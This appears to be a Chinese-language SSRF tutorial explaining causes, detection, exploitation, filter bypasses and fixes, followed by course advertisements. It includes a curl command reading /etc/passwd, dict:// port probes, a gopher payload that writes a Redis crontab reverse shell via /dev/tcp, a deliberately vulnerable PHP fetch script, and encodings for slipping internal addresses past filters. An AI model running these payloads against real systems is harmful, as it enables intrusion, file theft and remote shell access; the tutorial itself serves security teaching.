服务器端请求伪造--SSRF

news2024/10/7 10:12:47

1648116028_623c413ce8997a7684630.png!small?1648116028817

SSRF 简介

##SSRF定义

SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由 攻击者构造形成,由服务端发起请求 的一个安全漏洞。一般情况下,SSRF攻击的目标是从 外网无法访问的内部系统(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)。

 

##SSRF漏洞成因

大都是由于 服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

##如何判断SSRF漏洞的真实性

回显判断有返回请求结果并会显示出来,访问日志判断,DNS请求检测....

SSRF漏洞寻找

##从web功能上寻找

  1. 分享:通过url 地址分享网页内容
  2. 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
  3. 在线翻译:通过URL地址翻译对应文本的内容。例如有道词典、UC、QQ浏览器等
  4. 图片加载与下载:通过指定URL地址加载或下载图片
  5. 图片、文章收藏功能:从分享的URL中读取其原文的标题、内容等
  6. 未公开的api实现以及其他调用URL的功能
  7. 网页采集/抓取的地方:对输入的url进行一些信息采集

##从URL关键字中寻找

关键字:

share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain

利用google 语法加上这些关键字去寻找SSRF漏洞

SSRF 相关函数

file_get_contents()将文件读入一个字符串中展示给用户
fsockopen()获取用户指定url的数据(文件或者html)
curl_exec()执行指定的 curl 会话
fopen()函数打开文件或者 URL
readfile()函数读取一个文件,并写入到输出缓冲

SSRF 相关伪协议

Dict协议查看端口,版本信息;向服务器端口请求curl命令
Gopher协议发送各种格式的请求包
File协议在文件系统中读取文件
HTTP/HTTPS协议内网的ip扫描、端口探测

SSRF 验证方式

1、用抓包工具看请求由客户端发起还是服务端发起(漏洞),如果不是客户端发出的请求,则有可能是,接着找存在HTTP服务的内网地址

--从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址。

--通过二级域名暴力猜解工具模糊猜测内网地址。

2、直接返回的Banner、title、content等信息

3、dnslog等工具进行测试,看是否被访问

--可以在盲打后台用例中将当前准备请求的uri 和参数编码成base64,这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求。

4、利用file协议 读取本地文件等

5、排除法:浏览器f12查看源代码看是否是在本地进行了请求

比如:资源地址类型为 http://www.xxx.com/a.php?image=(地址)的就可能存在SSRF漏洞。

6、bool型SSRF

SSRF 利用方式

##本地利用

以curl举例:

Curl是一种命令行实用程序,用于从服务器传输数据或向服务器传输数据,该服务器设计为无需用户交互即可工作

查看 curl 支持的协议列表 curl -V

本地利用方式

(1)使用file(任意文件读取)

curl -v 'file:///etc/passwd' 

1648044057_623b28196d6b7dc69464f.png!small?1648044055381

(2)使用dict探测端口

curl -v 'dict://127.0.0.1:22'

curl -v 'dict://127.0.0.1:6379/info'

(3)利用gopher反弹shell

curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1

* * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'

##远程利用

漏洞代码:

<?php
$url = @$_GET['url'];
if($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    $co = curl_exec($ch);
    curl_close($ch);
    echo $co;
}

代码解析:

从 URL 中获取 url 参数,然后访问 url 参数所指向的 URL 资源,最后把结果输出到页面上。

将源码保存为 ssrf.php,并部署到本地。

(1)使用file(任意文件读取)

1648113033_623c3589f05b88f650167.png!small?1648113033748

(2)使用dict探测端口

端口开放时:

1648113144_623c35f86e7f85dc60277.png!small?1648113144195

端口未开放时

1648113206_623c3636c5d6aab31cca5.png!small?1648113206541

##攻击Redis服务

Redis一般都是绑定在6379端口。如果没有设置口令(默认是无),攻击者就可以通过SSRF漏洞未授权访问内网Redis,一般用来写入Crontab定时任务用来反弹shell,或者写入webshell等等。

##攻击Mysql服务

如果内网开启了3306端口,存在没有密码的mysql,则也可以使用gopher协议进行ssrf攻击。

gopherus工具

SSRF 绕过方式

##@

http://abc@127.0.0.1 实际上是让abc去访问站点127.0.0.1,

http://www.baidu.com@10.149.149.49 与 http://10.149.149.49 的请求是相同的。

##[::]

利用[::]来绕过localhost

例如:http://[::]:80/ >>> http://127.0.0.1

##添加端口号

限制了子网段,可以加 :80 端口绕过,

例如:http://127.0.0.1:80

##短网址

URL中包含了内网IP地址,可能会被正则表达式过滤掉,可以通过短地址的方式来绕过

在线站点:

985.so

URL Shortener

##进制转换

127.0.0.1

八进制格式: 0177.0.0.1

十六进制格式:0x7f.0.0.1

十进制整数格式: 2130706433

十六进制整数格式:0x7F000001

##使用解析到内网的域名

如果服务端没有先解析IP再过滤内网地址,那么可以利用特殊站点 (nip.io、sslip.io) 的子域名解析到对应的IP

例如:访问http://127.0.0.1.nip.io/1.html 实际访问的是http://127.0.0.1/1.html

##利用DNS解析

目标对域名或者IP进行了限制,那么可以使用dns服务器将自己的域名解析到内网ip。

##句号

例如:127。0。0。1 >>> 127.0.0.1

##利用跳转

如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用跳转的方式来进行绕过。

例如:http://www.hackersb.cn/redirect.php?url=http://192.168.0.1/

SSRF的危害

  1. 扫内部网络/攻击内网
  2. 向内部任意主机的任意端口发送精心构造的Payload DOS攻击(请求大文件,始终保持连接Keep-Alive Always)
  3. 对内网web应用进行指纹识别,通过访问默认文件实现 攻击内网的web应用,主要是使用GET参数就可以实现的攻击(比如struts2,sql注入等)
  4. 攻击目标主机(dict://探测端口 file://读取文件等)
  5. 破坏内部服务

SSRF 漏洞修复

  1. 禁止30x跳转。
  2. 过滤返回信息,验证远程服务器对请求的响应。
  3. 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
  4. 限制请求的端口为http常用的端口,比如 80、443、8080、8090。
  5. 设置URL白名单或者限制内网IP(使用gethostbyname()判断是否为内网IP),以防止对内网进行攻击。
  6. 禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///, gopher://, ftp:// 等引起的问题。
  7. 对DNS Rebinding,考虑使用DNS缓存或者Host白名单。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供: 

 大厂面试题

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~  

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1716812.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

FineReport帆软设计器,远程连接服务器

FineReport报表工具一款纯Java编写的企业级web报表软件工具。它能够全面支持主流的B/S架构以及传统的C/S架构&#xff0c;部署方式简单而灵活. 需要使用FineReport帆软设计器&#xff0c;配置远程服务器的方式如下&#xff1a; 1、打开帆软设计器&#xff0c;点击文件&#x…

工程项目管理系统的Java实现:高效协同与信息共享

在当今的工程领域&#xff0c;项目管理的高效协同和信息共享是提升工作效率、降低成本的关键。本文将向您介绍一款基于Java技术构建的工程项目管理系统&#xff0c;该系统采用前后端分离的先进技术框架&#xff0c;功能全面&#xff0c;能够满足不同角色的需求&#xff0c;从项…

中英文语音合成芯片(TTS芯片)WT3000T8-在ETC上的应用案例

一&#xff1a;开发背景&#xff1a; 随着智能化浪潮的推进&#xff0c;ETC&#xff08;电子不停车收费&#xff09;系统已逐渐成为现代交通的重要组成部分。在这一背景下&#xff0c;唯创知音自主研发的WT3000T8中文转语音合成芯片&#xff08;TTS芯片&#xff09;以其卓越的性…

基于TAE的数字钥匙自动化测试解决方案

方案概述 在汽车发展和用户需求的推动下&#xff0c;汽车钥匙开始从传统的机械钥匙向数字化、智能化方向发展。目前常见的数字钥匙集成了蓝牙、NFC、UWB等技术实现了移动设备与车端的通信&#xff0c;可以帮助用户便捷的实现车辆功能控制。随着数字钥匙的广泛应用&#xff0c;相…

振弦式位移计在各类工程中的应用

振弦式位移计&#xff0c;作为一种高精度、高可靠性的测量工具&#xff0c;在各类工程中发挥着至关重要的作用。它通过测量弦的振动频率来间接得出结构的位移变化&#xff0c;为工程师和科学家们提供了精确的数据支持&#xff0c;从而确保工程的安全性和稳定性。 点击输入图片描…

YOLOv5改进 | 注意力机制 | 添加双重注意力机制 DoubleAttention【附代码/涨点能手】

&#x1f4a1;&#x1f4a1;&#x1f4a1;本专栏所有程序均经过测试&#xff0c;可成功执行&#x1f4a1;&#x1f4a1;&#x1f4a1; 在图像识别中&#xff0c;学习捕捉长距离关系是基础。现有的CNN模型通常通过增加深度来建立这种关系&#xff0c;但这种形式效率极低。因此&…

Hudi之数据读写探究

Hudi之数据读写深入探究 1. Hudi数据写入 1-1. 写操作 Hudi数据湖中的数据更新、插入和删除操作&#xff0c;是一个基于Apache Hadoop的库&#xff0c;为数据湖提供了一种有效的方法来处理更新和增量数据&#xff0c;并支持基于时间的快照和增量数据处理。Hudi支持三种主要的…

Linux源码编译安装MySQL + Qt连接MySQL

一、准备工作 1. 编译环境&#xff1a; 银河麒麟V10 飞腾D2000 CPU 2. 下载MySQL源码 这里编译的是5.7.44版本&#xff0c;带Boost库&#xff0c;这是官网的下载地址&#xff1a;MySQL :: Download MySQL Community Server (Archived Versions) 3. 解压压缩包 tar -zxvf mys…

Guns框架:基于主流技术Spring Boot2 + Vue3 + Antd Vue的现代Java应用开发新纪元

Guns框架&#xff1a;基于主流技术Spring Boot2 Vue3 Antd Vue的现代Java应用开发新纪元 摘要&#xff1a;随着信息技术的飞速发展&#xff0c;软件开发框架在提升开发效率、降低成本方面扮演着至关重要的角色。Guns框架&#xff0c;作为一个现代化的Java应用开发框架&#x…

vue3 组件的动态渲染 <component :is=“componentTag“ />

1、动态渲染组件 <component :is""></component> 通过isShow来切换显示A、B组件 首先创建父组件.vue文件和两个子组件A、B文件&#xff0c;并引入。 template&#xff1a; <div><h3>我是父组件dynamicComp.vue</h3><button clic…

firebase如何自定义上传日志

我们可以很轻松的得到2个代码&#xff1a; Firebase.crashlytics.log(str) Firebase.crashlytics.recordException(ex)这就是firebase提供的自定义日志和excption上传的方法。 但是如果你认为log函数调用后&#xff0c;直接就能查看到日志就错了。 我们在这个page是找不到日志…

端午节粽子龙舟主题互动趣味小游戏效果是什么

端午三天乐&#xff0c;无论节日当天还是之前&#xff0c;行业商家都可以自己的品牌为主借势营销&#xff0c;趣味活动形式玩法和内容呈现达成多种效果&#xff0c;品牌传播、公众号涨粉、线下互动、商品促销、用户促活等。 在【雨科】平台拥有多款端午节互动小游戏类型&#…

操作系统真象还原:编写MBR主引导记录,让我们开始掌权

第2章-编写MBR主引导记录&#xff0c;让我们开始掌权 这是一个网站有所有小节的代码实现&#xff0c;同时也包含了Bochs等文件 在开机的一瞬间&#xff0c;也就是接电的一瞬间&#xff0c; CPU 的 CS: ip 寄存器被强制初始化为 0XF000: 0XFFF0。由于开机的时候处于实模式&…

第一课、Power BI 集成Python

1&#xff0c;下载安装python Python软件地址&#xff1a;Welcome to Python.org 双击自定义安装指定位置并勾选配置环境变量。 后续一直往下&#xff0c;安装完成。 检验是否成功&#xff0c;在cmd命令窗口下输入python 即可看到版本。 安装 pip install pandas 和 pip…

win10双网卡如何同时上内网和外网?

win10双网卡如何同时上内网和外网? Chapter1 win10双网卡如何同时上内网和外网?Chapter2 网络基础--win10双网卡设置成访问不同的网络 Chapter1 win10双网卡如何同时上内网和外网? 原文链接&#xff1a;https://www.jb51.net/os/win10/806585.html 场景&#xff1a;很多办…

使用递归形式以及迭代形式实现树的前中后序遍历

相信大家对于二叉树的遍历并不陌生&#xff0c;对于二叉树的递归遍历我们也可以信手拈来。但是如果让我们将二叉树修改成为非递归的形式呢&#xff1f;是不是有点疑惑了&#xff1f;那么本次博客我们就来梳理一下二叉树的非递归遍历。 由于递归遍历二叉树的代码以及逻辑都很简单…

LeetCode 63.不同路径Ⅱ

思路&#xff1a; 在有障碍物的地方增加一个判断即可 class Solution { public:int uniquePathsWithObstacles(vector<vector<int>>& obstacleGrid) {int dp[105][105];int mobstacleGrid.size();int nobstacleGrid[0].size();for(int i0;i<m;i){for(int j0…

拓数派与浙江平数举行「政务数据服务产品合作开发」签约仪式

3月14日&#xff0c;杭州拓数派科技发展有限公司&#xff08;以下简称“拓数派”&#xff09;与浙江平数科技有限公司&#xff08;以下简称“浙江平数”&#xff09;举行了关于政务数据服务产品合作开发的签约仪式。在嘉兴平湖市政务服务管理办公室党委副书记、主任&#xff0c…

移动硬盘未格式化数据恢复及预防策略

随着数字化时代的到来&#xff0c;移动硬盘作为数据存储的重要载体&#xff0c;被广泛应用于个人和企业中。然而&#xff0c;当移动硬盘遭遇“未格式化”的困境时&#xff0c;其中的数据便岌岌可危。本文将深入探讨移动硬盘未格式化的现象、原因、数据恢复方案以及预防措施&…

linux开放某一个端口具体步骤

场景&#xff1a;当服务器防火墙不能直接关闭&#xff0c;但是客户端必须要访问服务器某一个端口时。 处理&#xff1a;对服务器端进行处理&#xff0c;只将该端口开放出来让客户端访问 本地使用vm安装了一个centos服务器&#xff0c;ip地址是 192.168.200.130。在这里充当服…